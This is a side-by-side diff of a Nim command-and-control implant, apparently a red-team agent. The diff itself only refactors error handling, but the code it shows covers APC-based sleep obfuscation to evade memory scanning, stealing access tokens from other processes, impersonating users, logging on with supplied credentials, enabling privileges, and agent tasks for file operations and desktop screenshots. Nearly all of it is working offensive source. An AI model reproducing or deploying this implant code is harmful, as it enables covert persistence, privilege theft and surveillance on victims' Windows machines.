status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
print protect("[*] Sleep obfuscation end.")
|
print "[*] Sleep obfuscation end."
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
sleep(sleepDelay)
|
sleep(sleepDelay)
|
||||||
print protect("[-] "), err.msg
|
print "[-] ", err.msg
|
||||||
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -477,20 +477,20 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
|||||||
# Start synchronization event
|
# Start synchronization event
|
||||||
status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventSync)
|
defer: CloseHandle(hEventSync)
|
||||||
|
|
||||||
# Start suspended thread where the APC calls will be queued and executed
|
# Start suspended thread where the APC calls will be queued and executed
|
||||||
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
|
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
print fmt"[*] [{hThread.repr}] Thread created "
|
print fmt"[*] [{hThread.repr}] Thread created "
|
||||||
defer: CloseHandle(hThread)
|
defer: CloseHandle(hThread)
|
||||||
|
|
||||||
ctxInit.ContextFlags = CONTEXT_FULL
|
ctxInit.ContextFlags = CONTEXT_FULL
|
||||||
status = apis.NtGetContextThread(hThread, addr ctxInit)
|
status = apis.NtGetContextThread(hThread, addr ctxInit)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtGetContextThread " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
|
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
|
||||||
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
|
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
|
||||||
@@ -552,24 +552,24 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
|||||||
for i in 0 .. gadget:
|
for i in 0 .. gadget:
|
||||||
status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
|
status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtQueueApcThread " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# Start sleep obfuscation
|
# Start sleep obfuscation
|
||||||
status = apis.NtAlertResumeThread(hThread, NULL)
|
status = apis.NtAlertResumeThread(hThread, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
print protect("[*] Sleep obfuscation start.")
|
print "[*] Sleep obfuscation start."
|
||||||
|
|
||||||
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
|
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
print protect("[*] Sleep obfuscation end.")
|
print "[*] Sleep obfuscation end."
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
sleep(sleepDelay)
|
sleep(sleepDelay)
|
||||||
print protect("[-] "), err.msg
|
print "[-] ", err.msg
|
||||||
|
|
||||||
# Sleep obfuscation implemented in various techniques
|
# Sleep obfuscation implemented in various techniques
|
||||||
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
|
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
import strformat
|
import strformat
|
||||||
|
import ./io
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -65,7 +66,7 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
|
|||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
|
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
return hToken
|
return hToken
|
||||||
|
|
||||||
@@ -111,7 +112,7 @@ proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: s
|
|||||||
|
|
||||||
status = apis.NtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
|
status = apis.NtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
let
|
let
|
||||||
tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation")
|
tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation")
|
||||||
@@ -127,16 +128,16 @@ proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
|
|||||||
|
|
||||||
status = apis.NtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
|
status = apis.NtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
|
||||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
|
pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
|
||||||
if pUser == NULL:
|
if pUser == NULL:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: LocalFree(cast[HLOCAL](pUser))
|
defer: LocalFree(cast[HLOCAL](pUser))
|
||||||
|
|
||||||
status = apis.NtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
|
status = apis.NtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
|
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
|
||||||
|
|
||||||
@@ -148,7 +149,7 @@ proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
|
|||||||
|
|
||||||
status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
|
status = apis.NtQueryInformationToken(hToken, tokenElevation, addr pElevation, cast[ULONG](sizeof(pElevation)), addr returnLength)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Elevation ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
return cast[bool](pElevation.TokenIsElevated)
|
return cast[bool](pElevation.TokenIsElevated)
|
||||||
|
|
||||||
@@ -160,16 +161,16 @@ proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
|
|||||||
|
|
||||||
status = apis.NtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
|
status = apis.NtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
|
||||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
pGroups = cast[PTOKEN_GROUPS](LocalAlloc(LMEM_FIXED, returnLength))
|
pGroups = cast[PTOKEN_GROUPS](LocalAlloc(LMEM_FIXED, returnLength))
|
||||||
if pGroups == NULL:
|
if pGroups == NULL:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: LocalFree(cast[HLOCAL](pGroups))
|
defer: LocalFree(cast[HLOCAL](pGroups))
|
||||||
|
|
||||||
status = apis.NtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength)
|
status = apis.NtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [2] ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
let
|
let
|
||||||
groupCount = pGroups.GroupCount
|
groupCount = pGroups.GroupCount
|
||||||
@@ -187,16 +188,16 @@ proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
|
|||||||
|
|
||||||
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
|
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
|
||||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
pPrivileges = cast[PTOKEN_PRIVILEGES](LocalAlloc(LMEM_FIXED, returnLength))
|
pPrivileges = cast[PTOKEN_PRIVILEGES](LocalAlloc(LMEM_FIXED, returnLength))
|
||||||
if pPrivileges == NULL:
|
if pPrivileges == NULL:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: LocalFree(cast[HLOCAL](pPrivileges))
|
defer: LocalFree(cast[HLOCAL](pPrivileges))
|
||||||
|
|
||||||
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength)
|
status = apis.NtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [2] ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
let
|
let
|
||||||
privCount = pPrivileges.PrivilegeCount
|
privCount = pPrivileges.PrivilegeCount
|
||||||
@@ -254,7 +255,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) =
|
|||||||
|
|
||||||
status = apis.NtDuplicateToken(hToken, TOKEN_IMPERSONATE or TOKEN_QUERY, addr oa, FALSE, tokenImpersonation, addr impersonationToken)
|
status = apis.NtDuplicateToken(hToken, TOKEN_IMPERSONATE or TOKEN_QUERY, addr oa, FALSE, tokenImpersonation, addr impersonationToken)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtDuplicateToken ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# Use the original token if it is already an impersonation token
|
# Use the original token if it is already an impersonation token
|
||||||
@@ -263,7 +264,7 @@ proc impersonate*(apis: Apis, hToken: HANDLE) =
|
|||||||
# Impersonate the token in the current thread (ImpersonateLoggedOnUser)
|
# Impersonate the token in the current thread (ImpersonateLoggedOnUser)
|
||||||
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr impersonationToken, cast[ULONG](sizeof(HANDLE)))
|
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr impersonationToken, cast[ULONG](sizeof(HANDLE)))
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtSetInformationThread ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
defer: discard apis.NtClose(impersonationToken)
|
defer: discard apis.NtClose(impersonationToken)
|
||||||
|
|
||||||
@@ -281,7 +282,7 @@ proc rev2self*() =
|
|||||||
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr hToken, cast[ULONG](sizeof(HANDLE)))
|
status = apis.NtSetInformationThread(CURRENT_THREAD, threadImpersonationToken, addr hToken, cast[ULONG](sizeof(HANDLE)))
|
||||||
|
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("RevertToSelf ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Create a new access token from a username, password and domain name triplet.
|
Create a new access token from a username, password and domain name triplet.
|
||||||
@@ -304,7 +305,7 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
|
|||||||
var hToken: HANDLE
|
var hToken: HANDLE
|
||||||
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
|
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
|
||||||
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
|
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: discard apis.NtClose(hToken)
|
defer: discard apis.NtClose(hToken)
|
||||||
|
|
||||||
apis.impersonate(hToken)
|
apis.impersonate(hToken)
|
||||||
@@ -325,7 +326,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
|||||||
defer: discard apis.NtClose(hToken)
|
defer: discard apis.NtClose(hToken)
|
||||||
|
|
||||||
if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE:
|
if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError,GetLastError().getError())
|
||||||
|
|
||||||
# Enable privilege
|
# Enable privilege
|
||||||
tokenPrivs.PrivilegeCount = 1
|
tokenPrivs.PrivilegeCount = 1
|
||||||
@@ -334,7 +335,7 @@ proc enablePrivilege*(privilegeName: string, enable: bool = true): string =
|
|||||||
|
|
||||||
status = apis.NtAdjustPrivilegesToken(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength)
|
status = apis.NtAdjustPrivilegesToken(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtAdjustPrivilegesToken ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
let action = if enable: protect("Enabled") else: protect("Disabled")
|
let action = if enable: protect("Enabled") else: protect("Disabled")
|
||||||
return fmt"{action} {apis.privilegeToString(addr luid)}."
|
return fmt"{action} {apis.privilegeToString(addr luid)}."
|
||||||
@@ -365,13 +366,13 @@ proc stealToken*(pid: int): string =
|
|||||||
# Open a handle to the target process
|
# Open a handle to the target process
|
||||||
status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
|
status = apis.NtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtOpenProcess ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: discard apis.NtClose(hProcess)
|
defer: discard apis.NtClose(hProcess)
|
||||||
|
|
||||||
# Open a handle to the primary access token of the target process
|
# Open a handle to the primary access token of the target process
|
||||||
status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken)
|
status = apis.NtOpenProcessToken(hProcess, TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, addr hToken)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: discard apis.NtClose(hToken)
|
defer: discard apis.NtClose(hToken)
|
||||||
|
|
||||||
apis.impersonate(hToken)
|
apis.impersonate(hToken)
|
||||||
|
|||||||
@@ -108,7 +108,7 @@ when defined(agent):
|
|||||||
# Retrieve current working directory
|
# Retrieve current working directory
|
||||||
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
|
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
|
||||||
print protect(" [>] Retrieving current working directory.")
|
print " [>] Retrieving current working directory."
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Get current working directory using GetCurrentDirectory
|
# Get current working directory using GetCurrentDirectory
|
||||||
@@ -117,7 +117,7 @@ when defined(agent):
|
|||||||
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
|
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
|
||||||
|
|
||||||
if length == 0:
|
if length == 0:
|
||||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
let output = $buffer[0 ..< (int)length]
|
let output = $buffer[0 ..< (int)length]
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||||
@@ -132,12 +132,12 @@ when defined(agent):
|
|||||||
# Parse arguments
|
# Parse arguments
|
||||||
let targetDirectory = Bytes.toString(task.args[0].data)
|
let targetDirectory = Bytes.toString(task.args[0].data)
|
||||||
|
|
||||||
print protect(" [>] Changing current working directory to {targetDirectory}.")
|
print " [>] Changing current working directory to {targetDirectory}."
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Get current working directory using GetCurrentDirectory
|
# Get current working directory using GetCurrentDirectory
|
||||||
if SetCurrentDirectoryW(targetDirectory) == FALSE:
|
if SetCurrentDirectoryW(targetDirectory) == FALSE:
|
||||||
raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||||
|
|
||||||
@@ -160,7 +160,7 @@ when defined(agent):
|
|||||||
cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
|
cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
|
||||||
|
|
||||||
if cwdLength == 0:
|
if cwdLength == 0:
|
||||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
||||||
|
|
||||||
@@ -187,7 +187,7 @@ when defined(agent):
|
|||||||
hFind = FindFirstFileW(searchPatternW, &findData)
|
hFind = FindFirstFileW(searchPatternW, &findData)
|
||||||
|
|
||||||
if hFind == INVALID_HANDLE_VALUE:
|
if hFind == INVALID_HANDLE_VALUE:
|
||||||
raise newException(OSError, fmt"Failed to list files ({GetLastError()}).")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
# Directory was found and can be listed
|
# Directory was found and can be listed
|
||||||
else:
|
else:
|
||||||
@@ -305,7 +305,7 @@ when defined(agent):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
if DeleteFile(target) == FALSE:
|
if DeleteFile(target) == FALSE:
|
||||||
raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||||
|
|
||||||
@@ -323,7 +323,7 @@ when defined(agent):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
if RemoveDirectoryA(target) == FALSE:
|
if RemoveDirectoryA(target) == FALSE:
|
||||||
raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||||
|
|
||||||
@@ -342,7 +342,7 @@ when defined(agent):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
|
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
|
||||||
raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||||
|
|
||||||
@@ -363,7 +363,7 @@ when defined(agent):
|
|||||||
try:
|
try:
|
||||||
# Copy file to new location, overwrite if a file with the same name already exists
|
# Copy file to new location, overwrite if a file with the same name already exists
|
||||||
if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
|
if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
|
||||||
raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||||
|
|
||||||
|
|||||||
@@ -83,17 +83,17 @@ when defined(agent):
|
|||||||
# Obtain handle to the device context for the entire screen
|
# Obtain handle to the device context for the entire screen
|
||||||
deviceCtx = GetDC(0)
|
deviceCtx = GetDC(0)
|
||||||
if deviceCtx == 0:
|
if deviceCtx == 0:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: ReleaseDC(0, deviceCtx)
|
defer: ReleaseDC(0, deviceCtx)
|
||||||
|
|
||||||
# Fetch BITMAP structure using GetCurrentObject and GetObjectW
|
# Fetch BITMAP structure using GetCurrentObject and GetObjectW
|
||||||
gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP)
|
gdiCurrent = GetCurrentObject(deviceCtx, OBJ_BITMAP)
|
||||||
if gdiCurrent == 0:
|
if gdiCurrent == 0:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: DeleteObject(gdiCurrent)
|
defer: DeleteObject(gdiCurrent)
|
||||||
|
|
||||||
if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0:
|
if GetObjectW(gdiCurrent, ULONG(sizeof(BITMAP)), addr desktop) == 0:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
# Construct BMP headers
|
# Construct BMP headers
|
||||||
# Calculate amount of bits required to represent screenshot
|
# Calculate amount of bits required to represent screenshot
|
||||||
@@ -114,13 +114,13 @@ when defined(agent):
|
|||||||
screenshotLength = bmpFileHeader.bfSize
|
screenshotLength = bmpFileHeader.bfSize
|
||||||
screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength)
|
screenshotBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotLength)
|
||||||
if screenshotBytes == NULL:
|
if screenshotBytes == NULL:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes)
|
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, screenshotBytes)
|
||||||
|
|
||||||
# Assembly the bitmap image
|
# Assembly the bitmap image
|
||||||
memDeviceCtx = CreateCompatibleDC(deviceCtx)
|
memDeviceCtx = CreateCompatibleDC(deviceCtx)
|
||||||
if memDeviceCtx == 0:
|
if memDeviceCtx == 0:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: ReleaseDC(0, memDeviceCtx)
|
defer: ReleaseDC(0, memDeviceCtx)
|
||||||
|
|
||||||
# Initialize BITMAPINFO with prepared info header
|
# Initialize BITMAPINFO with prepared info header
|
||||||
@@ -128,12 +128,12 @@ when defined(agent):
|
|||||||
|
|
||||||
bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0)
|
bmpSection = CreateDIBSection(deviceCtx, addr bmpInfo, DIB_RGB_COLORS, addr bitsBuffer, cast[HANDLE](NULL), 0)
|
||||||
if bmpSection == 0 or bitsBuffer == NULL:
|
if bmpSection == 0 or bitsBuffer == NULL:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
# Select the newly created bitmap into the memory device context
|
# Select the newly created bitmap into the memory device context
|
||||||
gdiObject = SelectObject(memDeviceCtx, bmpSection)
|
gdiObject = SelectObject(memDeviceCtx, bmpSection)
|
||||||
if gdiObject == 0:
|
if gdiObject == 0:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: DeleteObject(gdiObject)
|
defer: DeleteObject(gdiObject)
|
||||||
|
|
||||||
# Copy the screen content from the source device context to the memory device context
|
# Copy the screen content from the source device context to the memory device context
|
||||||
@@ -145,7 +145,7 @@ when defined(agent):
|
|||||||
resX, resY, # Source coordinates
|
resX, resY, # Source coordinates
|
||||||
SRCCOPY # Copy source directly to destination
|
SRCCOPY # Copy source directly to destination
|
||||||
) == 0:
|
) == 0:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
# Return the screenshot as a seq[byte]
|
# Return the screenshot as a seq[byte]
|
||||||
result = newSeq[byte](screenshotLength)
|
result = newSeq[byte](screenshotLength)
|
||||||
@@ -156,7 +156,7 @@ when defined(agent):
|
|||||||
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
|
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
try:
|
try:
|
||||||
|
|
||||||
